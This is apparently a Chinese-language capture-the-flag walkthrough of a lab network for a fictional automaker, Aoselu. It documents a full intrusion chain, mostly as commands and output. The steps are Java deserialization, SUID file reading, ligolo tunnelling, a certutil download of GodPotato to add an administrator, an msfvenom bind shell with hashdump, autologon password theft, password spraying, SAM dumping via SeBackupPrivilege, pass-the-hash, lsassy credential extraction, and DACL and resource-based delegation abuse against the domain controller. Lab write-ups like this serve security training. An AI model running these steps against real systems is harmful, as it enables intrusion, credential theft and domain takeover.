Aoselu
本靶场以虚构汽车制造企业 Aoselu 为背景，模拟其真实企业内部网络环境，玩家需要进行信息收集、权限提升、横向移动、服务利用等内网渗透技术，逐步获取4个flag。 目前已通过信息收集获得该企业某员工的邮箱 ：rachel.cook9@aoseluauto.com/!QAZ2wsx
1. flag01 (172.16.53.30)
1.1. 信息收集
┌──(root㉿kali)-[~/Desktop/ChunQiu/Aoselu]
└─# fscan -h 39.99.132.54
┌──────────────────────────────────────────────┐
│ ___ _ │
│ / _ \ ___ ___ _ __ __ _ ___| | __ │
│ / /_\/____/ __|/ __| '__/ _` |/ __| |/ / │
│ / /_\\_____\__ \ (__| | | (_| | (__| < │
│ \____/ |___/\___|_| \__,_|\___|_|\_\ │
└──────────────────────────────────────────────┘
Fscan Version: 2.0.1
[804ms] 已选择服务扫描模式
[804ms] 开始信息扫描
[804ms] 最终有效主机数量: 1
[804ms] 开始主机扫描
[804ms] 使用服务插件: activemq, cassandra, elasticsearch, findnet, ftp, imap, kafka, ldap, memcached, modbus, mongodb, ms17010, mssql, mysql, neo4j, netbios, oracle, pop3, postgres, rabbitmq, rdp, redis, rsync, smb, smb2, smbghost, smtp, snmp, ssh, telnet, vnc, webpoc, webtitle
[804ms] 有效端口数量: 233
[870ms] [*] 端口开放 39.99.132.54:22
[873ms] [*] 端口开放 39.99.132.54:8080
[873ms] [*] 端口开放 39.99.132.54:80
[3.8s] 扫描完成, 发现 3 个开放端口
[3.8s] 存活端口数量: 3
[3.8s] 开始漏洞扫描
[3.8s] POC加载完成: 总共387个，成功387个，失败0个
[3.9s] [*] 网站标题 http://39.99.132.54 状态码:200 长度:33611 标题:Aoselu Automotive - Redefining Mobility
[5.4s] [*] 网站标题 http://39.99.132.54:8080 状态码:200 长度:15978 标题:Aoselu Automotive - Email Login
[41.7s] 扫描已完成: 5/5
用初始凭据登录8080
登录后哪也点不了，抓包看看
POST /login HTTP/1.1
Host: 39.99.132.54:8080
Content-Length: 266
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
Accept: application/json
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryb8bKBAFPm2F6BwNZ
Origin: http://39.99.132.54:8080
Referer: http://39.99.132.54:8080/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: userInfo=rO0ABXNyACFjb20uYW9zZWx1YXV0by5tYWlsLnVzZXIuVXNlckluZm9s/h3I5rAIGwIABUkAA2FnZUwABWVtYWlsdAASTGphdmEvbGFuZy9TdHJpbmc7TAAKb2NjdXBhdGlvbnEAfgABTAAIcmVhbG5hbWVxAH4AAUwACHVzZXJuYW1lcQB+AAF4cAAAABx0ABtyYWNoZWwuY29vazlAYW9zZWx1YXV0by5jb210AAtTYWxlc3BlcnNvbnQAC1JhY2hlbCBDb29rdAAMcmFjaGVsLmNvb2s5
Connection: keep-alive
------WebKitFormBoundaryb8bKBAFPm2F6BwNZ
Content-Disposition: form-data; name="email"
rachel.cook9@aoseluauto.com
------WebKitFormBoundaryb8bKBAFPm2F6BwNZ
Content-Disposition: form-data; name="password"
!QAZ2wsx
------WebKitFormBoundaryb8bKBAFPm2F6BwNZ--
cookie是一个base64编码的java序列化对象
┌──(root㉿kali)-[~/Desktop/ChunQiu/Aoselu]
└─# echo -n 'rO0ABXNyACFjb20uYW9zZWx1YXV0by5tYWlsLnVzZXIuVXNlckluZm9s/h3I5rAIGwIABUkAA2FnZUwABWVtYWlsdAASTGphdmEvbGFuZy9TdHJpbmc7TAAKb2NjdXBhdGlvbnEAfgABTAAIcmVhbG5hbWVxAH4AAUwACHVzZXJuYW1lcQB+AAF4cAAAABx0ABtyYWNoZWwuY29vazlAYW9zZWx1YXV0by5jb210AAtTYWxlc3BlcnNvbnQAC1JhY2hlbCBDb29rdAAMcmFjaGVsLmNvb2s5' |base64 -d >seralize.txt
┌──(root㉿kali)-[~/Desktop/ChunQiu/Aoselu]
└─# cat seralize.txt
sr!com.aoseluauto.mail.user.UserInfoageLemailtLjava/lang/String;L
occupationq~realnameq~usernameq~xptachel.cook9@aoseluauto.comt
Salespersont
Rachel Cookt
rachel.cook9
可以获取到用户信息
- 邮箱: rachel.cook9@aoseluauto.com
- 职业: Salesperson (销售人员)
- 真实姓名: Rachel Cook
- 用户名: rachel.cook9
邮箱就是我们输入的账号，是可以控制的
1.2. java反序列化
JAVA反序列化
springboot框架
cc8 springecho链子
1.3. SUID提权
/ >find / -perm -4000 2>/dev/null
/usr/bin/mount
/usr/bin/su
/usr/bin/gpasswd
/usr/bin/fusermount3
/usr/bin/umount
/usr/bin/passwd
>>>> /usr/bin/cmp
/usr/bin/chsh
/usr/bin/newgrp
/usr/bin/chfn
/usr/bin/sudo
/usr/lib/polkit-1/polkit-agent-helper-1
/usr/lib/snapd/snap-confine
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/ >cmp /flag.txt /dev/zero -b -l
1 146 f 0 ^@
2 154 l 0 ^@
3 141 a 0 ^@
4 147 g 0 ^@
5 173 { 0 ^@
6 71 9 0 ^@
7 142 b 0 ^@
8 64 4 0 ^@
9 142 b 0 ^@
10 67 7 0 ^@
11 141 a 0 ^@
12 63 3 0 ^@
13 70 8 0 ^@
14 55 - 0 ^@
15 63 3 0 ^@
16 144 d 0 ^@
17 64 4 0 ^@
18 65 5 0 ^@
19 55 - 0 ^@
20 64 4 0 ^@
21 67 7 0 ^@
22 145 e 0 ^@
23 61 1 0 ^@
24 55 - 0 ^@
25 142 b 0 ^@
26 71 9 0 ^@
27 62 2 0 ^@
28 144 d 0 ^@
29 55 - 0 ^@
30 62 2 0 ^@
31 145 e 0 ^@
32 145 e 0 ^@
33 141 a 0 ^@
34 60 0 0 ^@
35 142 b 0 ^@
36 143 c 0 ^@
37 66 6 0 ^@
38 70 8 0 ^@
39 64 4 0 ^@
40 143 c 0 ^@
41 71 9 0 ^@
42 175 } 0 ^@
cmp: EOF on /flag.txt after byte 42
flag{9b4b7a38-3d45-47e1-b92d-2eea0bc684c9}
2. 内网代理
2.1. 隧道搭建
┌──(root㉿kali)-[~/Desktop/ChunQiu/Aoselu]
└─# ligolo-proxy -selfcert
WARN[0000] Using default selfcert domain 'ligolo', beware of CTI, SOC and IoC!
WARN[0000] Using self-signed certificates
ERRO[0000] Certificate cache error: acme/autocert: certificate cache miss, returning a new certificate
WARN[0000] TLS Certificate fingerprint for ligolo is: AAC67CC889D9955CB18DF851F308C39310D5183A7CC791DDCDAC1CDD12CCFF10
INFO[0000] Listening on 0.0.0.0:11601
__ _ __
/ / (_)___ _____ / /___ ____ ____ _
/ / / / __ `/ __ \/ / __ \______/ __ \/ __ `/
/ /___/ / /_/ / /_/ / / /_/ /_____/ / / / /_/ /
/_____/_/\__, /\____/_/\____/ /_/ /_/\__, /
/____/ /____/
Made in France ♥ by @Nicocha30!
Version: dev
ligolo-ng » connect_agent --ip 39.99.132.54:5555
? TLS Certificate Fingerprint is: 40BEB08F21D85B5EF195C08EEA67DEEA3C90878C5BCC4F70581D4A3CFF06D853, connect? Yes
INFO[0028] Agent connected. id=00163e32e5a8 name=mail-svc@webserver.aoseluauto.com remote="39.99.132.54:5555"
ligolo-ng »
ligolo-ng » interface_create --name hh
INFO[0041] Creating a new "hh" interface...
INFO[0041] Interface created!
ligolo-ng » session
? Specify a session : 1 - mail-svc@webserver.aoseluauto.com - 39.99.132.54:5555 - 00163e32e5a8
[Agent : mail-svc@webserver.aoseluauto.com] » tunnel_start --tun hh
[Agent : mail-svc@webserver.aoseluauto.com] » INFO[0057] Starting tunnel to mail-svc@webserver.aoseluauto.com (00163e32e5a8)
[Agent : mail-svc@webserver.aoseluauto.com] »
[Agent : mail-svc@webserver.aoseluauto.com] » ifconfig
┌────────────────────────────────────┐
│ Interface 0 │
├──────────────┬─────────────────────┤
│ Name │ lo │
│ Hardware MAC │ │
│ MTU │ 65536 │
│ Flags │ up|loopback|running │
│ IPv4 Address │ 127.0.0.1/8 │
│ IPv6 Address │ ::1/128 │
└──────────────┴─────────────────────┘
┌───────────────────────────────────────────────┐
│ Interface 1 │
├──────────────┬────────────────────────────────┤
│ Name │ ens5 │
│ Hardware MAC │ 00:16:3e:32:e5:a8 │
│ MTU │ 1500 │
│ Flags │ up|broadcast|multicast|running │
│ IPv4 Address │ 172.16.53.30/16 │
│ IPv6 Address │ fe80::216:3eff:fe32:e5a8/64 │
└──────────────┴────────────────────────────────┘
[Agent : mail-svc@webserver.aoseluauto.com] » interface_add_route --name hh --route 172.16.53.30/16
INFO[0087] Route created.
找下jar包
/ >ps -ef |grep java
>>>> mail-svc 754 1 0 18:26 ? 00:00:17 java -jar /AoseluMail/AoseluMail-0.0.1-SNAPSHOT.jar
mail-svc 1501 754 0 19:27 ? 00:00:00 sh -c cd "/";ps -ef |grep java 2>&1
mail-svc 1503 1501 0 19:27 ? 00:00:00 grep java
/AoseluMail/BOOT-INF/classes/application.properties
# THYMELEAF (ThymeleafAutoConfiguration)
#spring.thymeleaf.cache=true
spring.thymeleaf.check-template=true
spring.thymeleaf.check-template-location=true
spring.thymeleaf.content-type=text/html
spring.thymeleaf.enabled=true
spring.thymeleaf.encoding=UTF-8
spring.thymeleaf.excluded-view-names=
spring.thymeleaf.mode=HTML5
spring.thymeleaf.prefix=classpath:/templates/
spring.thymeleaf.suffix=.html
server.port=8080
spring.datasource.driver-class-name=com.mysql.cj.jdbc.Driver
>>>> spring.datasource.url=jdbc:mysql://172.16.52.45:3306/maildb?characterEncoding=utf-8&useUnicode=true&serverTimezone=UTC
>>>> spring.datasource.username=root
>>>> spring.datasource.password=T%b8ds*l3v+B
数据库地址是错的，
做一下
2.2. 主机发现
┌──(root㉿kali)-[~/Desktop/ChunQiu/Aoselu]
└─# fping -agq 172.16.53.30/24
172.16.53.30
┌──(root㉿kali)-[~/Desktop/ChunQiu/Aoselu]
└─# ping 172.16.52.45 -c 3
PING 172.16.52.45 (172.16.52.45) 56(84) bytes of data.
--- 172.16.52.45 ping statistics ---
3 packets transmitted, 0 received, 100% packet loss, time 2044ms
┌──(root㉿kali)-[~/Desktop/ChunQiu/Aoselu]
└─# fping -agq 172.16.53.30/16
172.16.36.21
172.16.34.23
172.16.34.5
2.3. 内网扫描
┌──(root㉿kali)-[~/Desktop/ChunQiu/Aoselu]
└─# fscan -h 172.16.36.21
┌──────────────────────────────────────────────┐
│ ___ _ │
│ / _ \ ___ ___ _ __ __ _ ___| | __ │
│ / /_\/____/ __|/ __| '__/ _` |/ __| |/ / │
│ / /_\\_____\__ \ (__| | | (_| | (__| < │
│ \____/ |___/\___|_| \__,_|\___|_|\_\ │
└──────────────────────────────────────────────┘
Fscan Version: 2.0.1
[937ms] 已选择服务扫描模式
[937ms] 开始信息扫描
[937ms] 最终有效主机数量: 1
[937ms] 开始主机扫描
[937ms] 使用服务插件: activemq, cassandra, elasticsearch, findnet, ftp, imap, kafka, ldap, memcached, modbus, mongodb, ms17010, mssql,
mysql, neo4j, netbios, oracle, pop3, postgres, rabbitmq, rdp, redis, rsync, smb, smb2, smbghost, smtp, snmp, ssh, telnet, vnc, webpoc, webtitle
[937ms] 有效端口数量: 233
>>>> [2.0s] [*] 端口开放 172.16.36.21:3306
[2.1s] [*] 端口开放 172.16.36.21:135
[2.1s] [*] 端口开放 172.16.36.21:139
[2.1s] [*] 端口开放 172.16.36.21:445
[3.2s] 扫描完成, 发现 4 个开放端口
[3.2s] 存活端口数量: 4
[3.2s] 开始漏洞扫描
[3.3s] [*] NetInfo 扫描结果
目标主机: 172.16.36.21
主机名: ASLITPC03
发现的网络接口:
IPv4地址:
└─ 172.16.36.21
[3.4s] [+] NetBios 172.16.36.21 AOSELUAUTO\ASLITPC03
[2m33s] 扫描已完成: 7/7
┌──(root㉿kali)-[~/Desktop/ChunQiu/Aoselu]
└─# fscan -h 172.16.34.23
┌──────────────────────────────────────────────┐
│ ___ _ │
│ / _ \ ___ ___ _ __ __ _ ___| | __ │
│ / /_\/____/ __|/ __| '__/ _` |/ __| |/ / │
│ / /_\\_____\__ \ (__| | | (_| | (__| < │
│ \____/ |___/\___|_| \__,_|\___|_|\_\ │
└──────────────────────────────────────────────┘
Fscan Version: 2.0.1
[867ms] 已选择服务扫描模式
[867ms] 开始信息扫描
[867ms] 最终有效主机数量: 1
[867ms] 开始主机扫描
[867ms] 使用服务插件: activemq, cassandra, elasticsearch, findnet, ftp, imap, kafka, ldap, memcached, modbus, mongodb, ms17010, mssql,
mysql, neo4j, netbios, oracle, pop3, postgres, rabbitmq, rdp, redis, rsync, smb, smb2, smbghost, smtp, snmp, ssh, telnet, vnc, webpoc, webtitle
[867ms] 有效端口数量: 233
[1.0s] [*] 端口开放 172.16.34.23:135
[1.0s] [*] 端口开放 172.16.34.23:445
[1.0s] [*] 端口开放 172.16.34.23:139
[2.2s] 扫描完成, 发现 3 个开放端口
[2.2s] 存活端口数量: 3
[2.2s] 开始漏洞扫描
[2.4s] [*] NetInfo 扫描结果
目标主机: 172.16.34.23
主机名: ASLSRVFS02
发现的网络接口:
IPv4地址:
└─ 172.16.34.23
[2.4s] [+] NetBios 172.16.34.23 AOSELUAUTO\ASLSRVFS02
[7.0s] 扫描已完成: 6/6
┌──(root㉿kali)-[~/Desktop/ChunQiu/Aoselu]
└─# fscan -h 172.16.34.5
┌──────────────────────────────────────────────┐
│ ___ _ │
│ / _ \ ___ ___ _ __ __ _ ___| | __ │
│ / /_\/____/ __|/ __| '__/ _` |/ __| |/ / │
│ / /_\\_____\__ \ (__| | | (_| | (__| < │
│ \____/ |___/\___|_| \__,_|\___|_|\_\ │
└──────────────────────────────────────────────┘
Fscan Version: 2.0.1
[872ms] 已选择服务扫描模式
[872ms] 开始信息扫描
[872ms] 最终有效主机数量: 1
[872ms] 开始主机扫描
[872ms] 使用服务插件: activemq, cassandra, elasticsearch, findnet, ftp, imap, kafka, ldap, memcached, modbus, mongodb, ms17010, mssql,
mysql, neo4j, netbios, oracle, pop3, postgres, rabbitmq, rdp, redis, rsync, smb, smb2, smbghost, smtp, snmp, ssh, telnet, vnc, webpoc, webtitle
[872ms] 有效端口数量: 233
[1.1s] [*] 端口开放 172.16.34.5:135
[1.1s] [*] 端口开放 172.16.34.5:445
[1.1s] [*] 端口开放 172.16.34.5:88
[1.1s] [*] 端口开放 172.16.34.5:139
[1.1s] [*] 端口开放 172.16.34.5:389
[2.2s] 扫描完成, 发现 5 个开放端口
[2.2s] 存活端口数量: 5
[2.2s] 开始漏洞扫描
[2.2s] POC加载完成: 总共387个，成功387个，失败0个
[2.4s] [*] NetInfo 扫描结果
目标主机: 172.16.34.5
主机名: ASLSRVAD05
发现的网络接口:
IPv4地址:
└─ 172.16.34.5
[2.5s] [+] NetBios 172.16.34.5 DC:AOSELUAUTO\ASLSRVAD05
3. flag02(172.16.36.21)
3.1. mysql
3.2. 土豆提权
这里在入口机上传一个土豆，然后python起一个文件服务器给172.16.36.21 下载
GodPotato
certutil -f -split -urlcache http://172.16.53.30:1111/GodPotato-NET4.exe
GodPotato-NET4.exe -cmd "cmd /c net user c1trus Admin123 /add && net localgroup administrators c1trus /add"
flag{723f7cc7-691c-4c20-8f12-8c50bba7b5c0}
4. flag03(172.16.34.23)
┌──(root㉿kali)-[~/Desktop/ChunQiu/Aoselu]
└─# msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=4444 -f exe -o bind_shell.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 496 bytes
Final size of exe file: 7680 bytes
Saved as: bind_shell.exe
┌──(root㉿kali)-[~/Desktop/ChunQiu/Aoselu]
└─# msfconsole
msf > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf exploit(multi/handler) > set payload windows/x64/meterpreter/bind_tcp
payload => windows/x64/meterpreter/bind_tcp
msf exploit(multi/handler) > set rhost 172.16.36.21
rhost => 172.16.36.21
msf exploit(multi/handler) > set lport 4444
lport => 4444
msf exploit(multi/handler) > run
[*] Started bind TCP handler against 172.16.36.21:4444
[*] Sending stage (203846 bytes) to 172.16.36.21
[*] Meterpreter session 1 opened (192.168.8.18:45411 -> 172.16.36.21:4444) at 2026-01-21 07:55:14 -0500
meterpreter >
msf exploit(multi/handler) > run
[*] Started bind TCP handler against 172.16.36.21:4444
[*] Sending stage (203846 bytes) to 172.16.36.21
[*] Meterpreter session 2 opened (192.168.8.18:46855 -> 172.16.36.21:4444) at 2026-01-21 08:01:44 -0500
meterpreter > getuid
Server username: NT AUTHORITY\NETWORK SERVICE
meterpreter > getsystem
...got system via technique 4 (Named Pipe Impersonation (RPCSS variant)).
meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:d41d2c4614bf18fa34726d4c1ba69fc2:::
c1trus:1000:aad3b435b51404eeaad3b435b51404ee:e45a314c664d40a227f9540121d1a29d:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:4bf0ee8fd1cc326bb824ecfd02235086:::
meterpreter > shell
Process 5208 created.
Channel 1 created.
Microsoft Windows [Version 10.0.26100.3775]
(c) Microsoft Corporation. All rights reserved.
C:\ProgramData\MySQL\MySQL Server 5.7\Data>whoami
whoami
nt authority\system
C:\Users\Public>SharpHound.exe -c all
4.1. bloodhound
没啥东西
从系统中可以抓到EthanMorris用户的凭据
meterpreter > run post/windows/gather/credentials/windows_autologin
[*] Running against ASLITPC03 on session 2
[+] AutoAdminLogon=1, DefaultDomain=aoseluauto.com, DefaultUser=EthanMorris, DefaultPassword=DROCV4?LtyCp
此用户可以访问FileService
┌──(root㉿kali)-[~/Desktop/ChunQiu/Aoselu]
└─# nxc smb 172.16.34.23 -u EthanMorris -p 'DROCV4?LtyCp' --shares
SMB 172.16.34.23 445 ASLSRVFS02 [*] Windows 10 / Server 2019 Build 17763 x64 (name:ASLSRVFS02) (domain:aoseluauto.com)
(signing:False) (SMBv1:None)
SMB 172.16.34.23 445 ASLSRVFS02 [+] aoseluauto.com\EthanMorris:DROCV4?LtyCp
SMB 172.16.34.23 445 ASLSRVFS02 [*] Enumerated shares
SMB 172.16.34.23 445 ASLSRVFS02 Share Permissions Remark
SMB 172.16.34.23 445 ASLSRVFS02 ----- ----------- ------
SMB 172.16.34.23 445 ASLSRVFS02 ADMIN$ Remote Admin
SMB 172.16.34.23 445 ASLSRVFS02 C$ Default share
SMB 172.16.34.23 445 ASLSRVFS02 FileService READ,WRITE Aoselu FileService
SMB 172.16.34.23 445 ASLSRVFS02 IPC$ READ Remote IPC
┌──(root㉿kali)-[~/Desktop/ChunQiu/Aoselu]
└─# impacket-smbclient 'EthanMorris:DROCV4?LtyCp@172.16.34.23'
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
Type help for list of commands
# use FileService
# ls
drw-rw-rw- 0 Wed Jan 21 23:20:04 2026 .
drw-rw-rw- 0 Wed Jan 21 23:20:04 2026 ..
-rw-rw-rw- 518317 Sat May 24 19:03:45 2025 Aoselu_PKM.xlsx
drw-rw-rw- 0 Sat May 24 19:03:45 2025 Design Documents
-rw-rw-rw- 518294 Sat May 24 19:03:45 2025 Design_FB0.pdf
drw-rw-rw- 0 Sat May 24 19:03:45 2025 Employee Records
drw-rw-rw- 0 Sat May 24 19:03:45 2025 IT Resources
drw-rw-rw- 0 Sat May 24 19:03:45 2025 Marketing Assets
drw-rw-rw- 0 Sat May 24 19:03:45 2025 Production Reports
drw-rw-rw- 0 Sat May 24 19:03:45 2025 Quality Control
-rw-rw-rw- 518302 Sat May 24 19:03:45 2025 Report_04P.json
drw-rw-rw- 0 Sat May 24 19:03:45 2025 Sales Forecasts
drw-rw-rw- 0 Sat May 24 19:03:45 2025 Supply Chain
drw-rw-rw- 0 Sat May 24 19:03:45 2025 Vehicle Specifications
# tree
..
# cd /IT Resources/Ops Scripts/
# ls
drw-rw-rw- 0 Sat May 24 19:03:45 2025 .
drw-rw-rw- 0 Sat May 24 19:03:45 2025 ..
-rw-rw-rw- 1275 Sat May 24 19:03:45 2025 Backup-UserData.ps1
-rw-rw-rw- 1159 Sat May 24 19:08:35 2025 Check-BackupJobStatus.ps1
-rw-rw-rw- 795 Sat May 24 19:03:45 2025 Deploy-WebAppBackup.ps1
-rw-rw-rw- 1072 Sat May 24 19:07:27 2025 FileServer-Cleanup.ps1
-rw-rw-rw- 576 Sat May 24 19:03:45 2025 Get-ADUserGroupMembership.ps1
-rw-rw-rw- 1228 Sat May 24 19:07:36 2025 Manage-ExchangeMailbox.ps1
-rw-rw-rw- 1219 Sat May 24 19:03:45 2025 Monitor-DiskSpace.ps1
-rw-rw-rw- 2340 Sat May 24 19:08:49 2025 RemoteBackupWithCreds.ps1
-rw-rw-rw- 1061 Sat May 24 19:08:51 2025 Reset-UserPassword.ps1
-rw-rw-rw- 960 Sat May 24 19:03:45 2025 Restart-Service-IfStopped.ps1
# mget ./*.ps1
[*] Downloading Backup-UserData.ps1
[*] Downloading Check-BackupJobStatus.ps1
[*] Downloading Deploy-WebAppBackup.ps1
[*] Downloading FileServer-Cleanup.ps1
[*] Downloading Get-ADUserGroupMembership.ps1
[*] Downloading Manage-ExchangeMailbox.ps1
[*] Downloading Monitor-DiskSpace.ps1
[*] Downloading RemoteBackupWithCreds.ps1
[*] Downloading Reset-UserPassword.ps1
[*] Downloading Restart-Service-IfStopped.ps1
svc_webadm02 WebAdmPass789!
svc_netadm03 0&8SwSc=Ok%2
svc_bakadm01 k3!8Fa&Sq8Z6
vc_adm01 _7zg9QFlCTns
密码喷洒
┌──(root㉿kali)-[~/Desktop/ChunQiu/Aoselu]
└─# nxc smb 172.16.34.5 -u user.txt -p pass.txt --no-bruteforce --continue-on-success
SMB 172.16.34.5 445 ASLSRVAD05 [*] Windows Server 2022 Build 20348 x64 (name:ASLSRVAD05) (domain:aoseluauto.com) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 172.16.34.5 445 ASLSRVAD05 [-] aoseluauto.com\svc_webadm02:WebAdmPass789! STATUS_LOGON_FAILURE
SMB 172.16.34.5 445 ASLSRVAD05 [-] aoseluauto.com\svc_netadm03:0&8SwSc=Ok%2 STATUS_LOGON_FAILURE
SMB 172.16.34.5 445 ASLSRVAD05 [+] aoseluauto.com\svc_bakadm01:k3!8Fa&Sq8Z6
SMB 172.16.34.5 445 ASLSRVAD05 [-] aoseluauto.com\vc_adm01:_7zg9QFlCTns STATUS_LOGON_FAILURE
┌──(root㉿kali)-[~/Desktop/ChunQiu/Aoselu]
└─# nxc winrm 172.16.34.23 -u svc_bakadm01 -p 'k3!8Fa&Sq8Z6'
WINRM 172.16.34.23 5985 ASLSRVFS02 [*] Windows 10 / Server 2019 Build 17763 (name:ASLSRVFS02) (domain:aoseluauto.com)
WINRM 172.16.34.23 5985 ASLSRVFS02 [+] aoseluauto.com\svc_bakadm01:k3!8Fa&Sq8Z6 (Pwn3d!)
┌──(root㉿kali)-[~/Desktop/ChunQiu/Aoselu]
└─# evil-winrm -i 172.16.34.23 -u svc_bakadm01 -p 'k3!8Fa&Sq8Z6'
Evil-WinRM shell v3.9
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\svc_bakadm01\Documents> whoami
aoseluauto\svc_bakadm01
*Evil-WinRM* PS C:\Users\svc_bakadm01\Documents> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================== =======
>>>> SeBackupPrivilege Back up files and directories Enabled
SeRestorePrivilege Restore files and directories Enabled
SeShutdownPrivilege Shut down the system Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
*Evil-WinRM* PS C:\Users\svc_bakadm01\Documents> reg save hklm\sam sam.save
The operation completed successfully.
*Evil-WinRM* PS C:\Users\svc_bakadm01\Documents> reg save hklm\system system.save
The operation completed successfully.
*Evil-WinRM* PS C:\Users\svc_bakadm01\Documents> download sam.save
Info: Downloading C:\Users\svc_bakadm01\Documents\sam.save to sam.save
Info: Download successful!
*Evil-WinRM* PS C:\Users\svc_bakadm01\Documents> download system.save
Info: Downloading C:\Users\svc_bakadm01\Documents\system.save to system.save
Info: Download successful!
┌──(root㉿kali)-[~/Desktop/ChunQiu/Aoselu]
└─# impacket-secretsdump -system system.save -sam sam.save LOCAL
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Target system bootKey: 0x833ec52f6f12689eda8e8ed4d5374009
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:74aaf464e1a7a75f2123ada1dd62edab:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:3d23ddf5c2e625618408ee0ce3b888cb:::
[*] Cleaning up...
┌──(root㉿kali)-[~/Desktop/ChunQiu/Aoselu]
└─# evil-winrm -i 172.16.34.23 -u Administrator -H 74aaf464e1a7a75f2123ada1dd62edab
Evil-WinRM shell v3.9
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> dir
*Evil-WinRM* PS C:\Users\Administrator\desktop> dir
Directory: C:\Users\Administrator\desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 5/19/2025 2:25 AM 42 flag.txt.txt
*Evil-WinRM* PS C:\Users\Administrator\desktop> gc flag.txt.txt
flag{55fb86d4-68ea-4697-81ee-3fb7cdcd1ee9}
5. flag04 172.16.34.5
5.1. HasSession
┌──(root㉿kali)-[~/Desktop/ChunQiu/Aoselu]
└─# nxc smb 172.16.34.23 -u Administrator -H 74aaf464e1a7a75f2123ada1dd62edab --local-auth -M lsassy
SMB 172.16.34.23 445 ASLSRVFS02 [*] Windows 10 / Server 2019 Build 17763 x64 (name:ASLSRVFS02) (domain:ASLSRVFS02) (signing:False) (SMBv1:None)
SMB 172.16.34.23 445 ASLSRVFS02 [+] ASLSRVFS02\Administrator:74aaf464e1a7a75f2123ada1dd62edab (Pwn3d!)
LSASSY 172.16.34.23 445 ASLSRVFS02 Saved 9 Kerberos ticket(s) to /root/.nxc/modules/lsassy
LSASSY 172.16.34.23 445 ASLSRVFS02 AOSELUAUTO\svc_monadm01 ab232c3cf9f4b7cf27602082b04f306b
LSASSY 172.16.34.23 445 ASLSRVFS02 aoseluauto.com\svc_monadm01 96Mr!je39y_p
┌──(root㉿kali)-[~/Desktop/ChunQiu/Aoselu]
└─# nxc smb 172.16.34.5 -u svc_monadm01 -p '96Mr!je39y_p'
SMB 172.16.34.5 445 ASLSRVAD05 [*] Windows Server 2022 Build 20348 x64 (name:ASLSRVAD05) (domain:aoseluauto.com) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 172.16.34.5 445 ASLSRVAD05 [+] aoseluauto.com\svc_monadm01:96Mr!je39y_p
5.2. WriteDacl
┌──(root㉿kali)-[~/Desktop/ChunQiu/Aoselu]
└─# impacket-dacledit -action 'write' -rights 'FullControl' -principal 'svc_monadm01' -target 'ASLSRVAD05$' 'aoseluauto.com/svc_monadm01:96Mr!je39y_p'
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] DACL backed up to dacledit-20260122-002118.bak
[*] DACL modified successfully!
5.3. RBCD
┌──(root㉿kali)-[~/Desktop/ChunQiu/Aoselu]
└─# nxc ldap 172.16.34.5 -u svc_monadm01 -p '96Mr!je39y_p' -M maq
LDAP 172.16.34.5 389 ASLSRVAD05 [*] Windows Server 2022 Build 20348 (name:ASLSRVAD05) (domain:aoseluauto.com) (signing:None) (channel binding:No TLS cert)
LDAP 172.16.34.5 389 ASLSRVAD05 [+] aoseluauto.com\svc_monadm01:96Mr!je39y_p
MAQ 172.16.34.5 389 ASLSRVAD05 [*] Getting the MachineAccountQuota
MAQ 172.16.34.5 389 ASLSRVAD05 MachineAccountQuota: 10
┌──(root㉿kali)-[~/Desktop/ChunQiu/Aoselu]
└─# impacket-addcomputer 'aoseluauto.com/svc_monadm01:96Mr!je39y_p' -computer-name hack -computer-pass Admin123 -dc-ip 172.16.34.5
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Successfully added machine account hack$ with password Admin123.
┌──(root㉿kali)-[~/Desktop/ChunQiu/Aoselu]
└─# impacket-rbcd -action write -delegate-from 'hack$' -delegate-to 'ASLSRVAD05$' -dc-ip 172.16.34.5 'aoseluauto.com/svc_monadm01:96Mr!je39y_p'
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Attribute msDS-AllowedToActOnBehalfOfOtherIdentity is empty
[*] Delegation rights modified successfully!
[*] hack$ can now impersonate users on ASLSRVAD05$ via S4U2Proxy
[*] Accounts allowed to act on behalf of other identity:
[*] hack$ (S-1-5-21-198605783-2356506617-271110585-1245)
